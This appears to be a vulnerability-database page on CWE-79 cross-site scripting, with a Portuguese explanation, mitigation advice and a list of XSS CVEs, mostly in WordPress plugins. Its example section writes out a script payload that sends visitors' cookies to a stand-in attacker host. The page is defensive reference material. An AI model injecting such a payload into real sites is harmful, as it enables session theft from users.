Fallos del tipo CWE-79

29.116 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-25062MEDIUMWordPress Pinpoint Booking System Plugin <= 2.9.9.2.8 is vulnerable to Cross Site Scripting (XSS)EPSS 0.5%CVE-2022-29452LOWWordPress Export All URLs plugin <= 4.1 - Authenticated Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.5%CVE-2022-36282MEDIUMWordPress Search Exclude plugin <= 1.2.6 - Authenticated Stored Cross-Site Scripting (XSS) vulnerabilityEPSS 0.5%CVE-2026-7052HIGHHT Contact Form <= 2.8.2 - Unauthenticated Stored Cross-Site Scripting via File Upload FieldEPSS 0.5%CVE-2026-87793MEDIUMReflected XSS in WordPress theme design-scuole-wordpress-themeEPSS 0.5%CVE-2025-5806HIGHJenkins Gatling Plugin 136.vb_9009b_3d33a_e serves Gatling reports in a manner that bypasses the Content-Security-Policy protection introducEPSS 0.5%CVE-2023-5291MEDIUMBlog Filter <= 1.5.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.5%CVE-2022-46848MEDIUMWordPress Visualizer Plugin <= 3.9.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.5%CVE-2023-4772MEDIUMNewsletter <= 7.8.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.5%CVE-2026-84293HIGHRepeater Fields for Gravity Forms <= 3.0.4 - Unauthenticated Stored Cross-Site Scripting via Repeated Multi-Input Sub-Field ValuesEPSS 0.5%CVE-2023-5062MEDIUMWordPress Charts <= 0.7.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.5%CVE-2023-27918MEDIUMCross-site scripting vulnerability in Appointment and Event Booking Calendar for WordPress - Amelia versions prior to 1.0.76 allows a remoteEPSS 0.5%CVE-2026-83561HIGHComplianz GDPR/CCPA Cookie Consent Banner <= 7.5.4 - Unauthenticated Stored Cross-Site Scripting via Elementor Cookie Blocker RegexEPSS 0.5%CVE-2023-44855MEDIUMCross Site Scripting (XSS) vulnerability in Cobham SAILOR VSAT Ku v.164B019 allows a remote attacker to execute arbitrary code via a craftedEPSS 0.5%CVE-2023-22296MEDIUMReflected cross-site scripting vulnerability in MAHO-PBX NetDevancer series MAHO-PBX NetDevancer Lite/Uni/Pro/Cloud prior to Ver.1.11.00, MAEPSS 0.5%CVE-2026-8901HIGHIntegration for Freshsales <= 1.0.15 - Unauthenticated Stored Cross-Site Scripting via Form Submission DataEPSS 0.5%CVE-2026-77233HIGHiubenda | All-in-one Compliance for GDPR / CCPA Cookie Consent + more <= 3.13.4 - Unauthenticated Stored Cross-Site Scripting via Comment Content via AdSense Regex RewriteEPSS 0.5%CVE-2023-20119MEDIUMA vulnerability in the web-based management interface of Cisco AsyncOS Software for Cisco Secure Email and Web Manager, formerly known as CoEPSS 0.5%CVE-2024-7752MEDIUMSourceCodester Clinics Patient Management System update_medicine.php cross site scriptingEPSS 0.5%CVE-2026-6177HIGHCustom Twitter Feeds <= 2.5.4 - Unauthenticated Stored Cross-Site Scripting via Cached Tweet TextEPSS 0.5%